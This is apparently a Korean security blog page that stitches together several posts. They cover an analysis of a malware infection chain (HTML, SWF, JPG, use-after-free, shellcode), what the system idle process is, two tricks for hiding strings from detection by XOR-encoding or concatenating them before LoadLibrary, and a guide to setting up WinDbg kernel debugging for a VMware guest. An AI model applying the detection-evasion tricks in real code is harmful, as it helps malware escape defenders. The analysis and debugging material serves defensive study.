Inti14.: 00000000`000100ff  Vec:FF  FixedDel  Ph:00000000      edg high      m
Inti15.: 00000000`000100ff  Vec:FF  FixedDel  Ph:00000000      edg high      m
Inti16.: 00000000`000100ff  Vec:FF  FixedDel  Ph:00000000      edg high      m
Inti17.: 00000000`000100ff  Vec:FF  FixedDel  Ph:00000000      edg high      m

 

 

 

반응형
반응형

---------------------------------------------------------------------------------------

우연찮게 악성코드를 입수하여 분석을 진행 하였습니다.

제가 원하던 업무가 이거구나 하는 즐거움으로 진행 합니다.

 

향후 반어를 사용하므로 이점 미리 양해 부탁 드립니다.

---------------------------------------------------------------------------------------

 

지인과의 이야기를 나누던 중 MS 취약점을 이용한 악성 코드가 유포 되었다는 이야기에 부랴부랴 인터넷 서핑을 했다.

그로 인하여, 아래의 파일을 구할 수 있었다.

 

 703ed7b0401c071564b9eeb743be4115f31b

 HTML

 e05e0113c167ba3878f73c64d55e5a2aff9a

 SWF

 152010b5a90c9a3fa4398f9e4595f95d4df2

 JPG

 

악성 코드 유포 방식은 아래와 같다.

 

HTML -> SWF 실행 -> JPG 파일 다운로드 -> JPG 특정 영역 메모리에 Load -> SWF에서 puIHa3() 호출 -> HTML 내부에 있는 pulHa3() 실행 - > 악성코드 실행 및 드랍(?)

 

전체 흐름은 위와 같으므로 부분으로 나눠서 따라가 보도록 하자.

먼저 HTML 코드를 확인 해보도록 합시다.(취약점은 Use After Free.)

 

 

 

 

이렇 듯 HTML 에서는 SWF 파일을 호출 하게 된다. 호출 된 SWF의 Action Script 정보를 추출하면 아래와 같은 내용이 나오게 된다.

 

 

 

 

 

SWF 파일의 Erido.jpg 파일을 로드 하는 것을 볼 수 있다. 그러나, Erido.jpg 파일을 그냥 로드 하는 것이 아니라

Endian.LITTLE_ENDIAN 형태로 읽어 드린 후 offset "36321" 위치 부터 메모리에 올리는 것을 확인 할 수 있다.

 

 

바이너리 파일은 아래와 같이 10진수로 표시된 것을 16진수로 변환하게 되면 binary 및 쉘코드를 확인 할 수 있다.

 

 

그 뒤, 메모리에 올린 이후 HTML 내부에 있는 puIHa3()를 호출하여, 쉘코드를 실행 하게 된다.

 

 

 

여기까지 분석하였으며, 이후 분석은 아래의 사이트를 참조하길 바란다.

http://redhidden.tistory.com/47

 

반응형
반응형

 

시스템 유휴 프로세스란?

시스템 상에서의 사용하지 않고 있는 프로세스를 의미하는 문장입니다.

 

그럼 시스템 상에서 사용하지 않고 있는 프로세스의 의미는 무엇인가?

간단하게 말하면 현재 전체 사용량 중에 사용 하지 않고 남아있는 량이라고 보시면 됩니다.

 

즉,

 

 

 

위와 같이 작업관리자에 표기 되었다면 현재 2%만 CPU를 사용하고 있고,

98%는 놀고 있다고 보시면 됩니다. 옆에 사용하는 메모리는 그 유휴 프로세스 량을 축정하기 위해 사용 되어지고 있는

량이 24kb입니다.

 

그러니까,

 

실제 사용하고 있는 프로세스 량 : 100%-98% = 2%

이라는 거죠.

 

그럼 즐거운 한 주 되시길 바랍니다.

 

반응형
반응형

 

분석을 하다보니 이런 경우가 있어 소개합니다.

아시는 분들도 있고, 탐지하고 계신 분들도 있지만 그래도 소수를 위하여^^???

공유합니다.

 

"crattack"라는 문자열을 탐지할 경우

그냥 "crattack"로 사용하면 탐지가 되겠죠. 그래서 방법 중에 하나가 암호화를 이용하는 것입니다.

간단하게 xor를 하던지 하여, xor한 문자열을 다시 로딩하기전에 xor 하여 로딩하는 방식이죠.

 

enc_str = "fproskrlrksjflfkrj";

loadlibrary(xor_dec(enc_str));

 

이런 형태?^^

 

그리고, 두번째는 조합을 이용한 방식 입니다.

 

sprintf(buff, "crat%s", "ttack");

loadlibary(buff);

 

이렇게 해도 우회가 되겠죠?^^

 

물론 사용하는 Loadlibary를 감시해서 처리해도 무방하지만

뭐..하나의 방법이니 참고하시면 좋겠네요.

 

즐거운 삽질 만땅하시길...^^

(참고로 위 사례는 실제 핵킹 툴에서 사용하는 사례입니다.)

반응형
반응형

방법은 2가지가 있다.

 

1. 콘솔에서 하는 방식

 

2. 시스템 구성에서 하는 방식

 

우선, VMWare에서 시리얼 포트를 생성한다. 생성하는 과정은 아래와 같다.

그리고 유심히 봐야할 것은 시리얼 포트의 번호 이다. 시리얼 포트의 번호가 따로 없는데 새로 생성하면

2로 만들어지는 것은 VMWare 상에서 우선적으로 사용하고 있기 때문에 향후 콘솔 설정에서 유의하여 연결 해야 한다.

 

 

 

 

 

 

 

 

 

Serial Port 2로 추가 된 것을 볼 수 있다.

VMWare 상태에서 끝났으므로 windbg에서도 대기 접속 대기 상태를 유지한다.

 

 

 

 

(단축키로 만들어 놓으면 좋다.)

windbg.exe -k com:pipe,port=\\.\pipe\babyhack,baud=115200, resets=0, reconnect

 

자 이젠 준비가 완료 되었다.

그럼 진행 해보도록 하자.

 

1. 콘솔 모드로 연결하는 방법

(* cmd.exe를 실행할 때는 반드시 관리자 권한으로 해야 한다.)

 

  부트로더 생성 Debug mode로 실행시키고 싶지 않을때를 위하여 부트로더를 하나 추가하여 사용하는 것이 좋다.

 

       C:\Windows\system32>bcdedit /copy {current} /d DebugEntry

       The entry was successfully copied to {dcffe704-9da4-11e1-a0dd-8c5e574c6735}.

 

       C:\Windows\system32>bcdedit /debug {dcffe704-9da4-11e1-a0dd-8c5e574c6735} ON

       The operation completed successfully.

 

       C:\Windows\system32>bcdedit /default {dcffe704-9da4-11e1-a0dd-8c5e574c6735}

       The operation completed successfully. 

        

C:\Windows\system32>bcdedit

....................................

Windows 부팅 로더
-------------------
identifier                    {current}
device                       partition=C:
path                          \Windows\system32\winload.exe
description                 DebugEntry
locale                        ko-KR
inherit                        {bootloadersettings}
recoverysequence      {dcffe704-9da4-11e1-a0dd-8c5e574c6735}
recoveryenabled         Yes
osdevice                    partition=C:
systemroot                 \Windows
resumeobject             {dcffe702-9da4-11e1-a0dd-8c5e574c6735}
nx                            OptIn
debug                       Yes 

 

     bcdedit /dbgsettings serial debugport:2 baudrate:115200

     (* debugport를 2로 사용한 이유는 COM1은 프린트 용도로 VMWare에서 선점하고 있기 때문에

        COM2를 의미하는 2로 설정한 것이다.)

 

2. 시스템 구성에서 하는 방식

 

   msconfig 명령을 이용하여 부팅 옵션을 설정 변경 할 수 있다.

 

 

 

  시스템 구성 방식에서 설정한 것 처럼 추가하는 방법은 제공하지 않고 있다.

  따라서, 부트로더를 적용하기 위해서는 bcdedit를 이용하던지 부트로더 등록 프로그램을 활용하여 설정하는 것이 안전하고

  편할 것으로 보인다.

 

3. 접속 테스트

  

   심볼 주소 등록 : srv*d:\symbols*http://msdl.microsoft.com/download/symbols

 

 

  ctrl + break 명령을 통하여, Interrupt를 걸고 이 후 g 명령을 통해서 Interrupt 건 상태를 풀어 윈도우가 정상적으로

  동작하게 유지한다. 

 

 

 

참고 사이트

  - http://msdn.microsoft.com/en-us/library/windows/hardware/ff538143(v=vs.85).aspx

  - http://sinarn.blog.me/130183074480

  - http://lucid7.egloos.com/viewer/2760612

  - http://blog.naver.com/bbasyoong/20190453141

  - http://sanaigon.tistory.com/178 (Virtual KD Application 소개)

반응형

+ Recent posts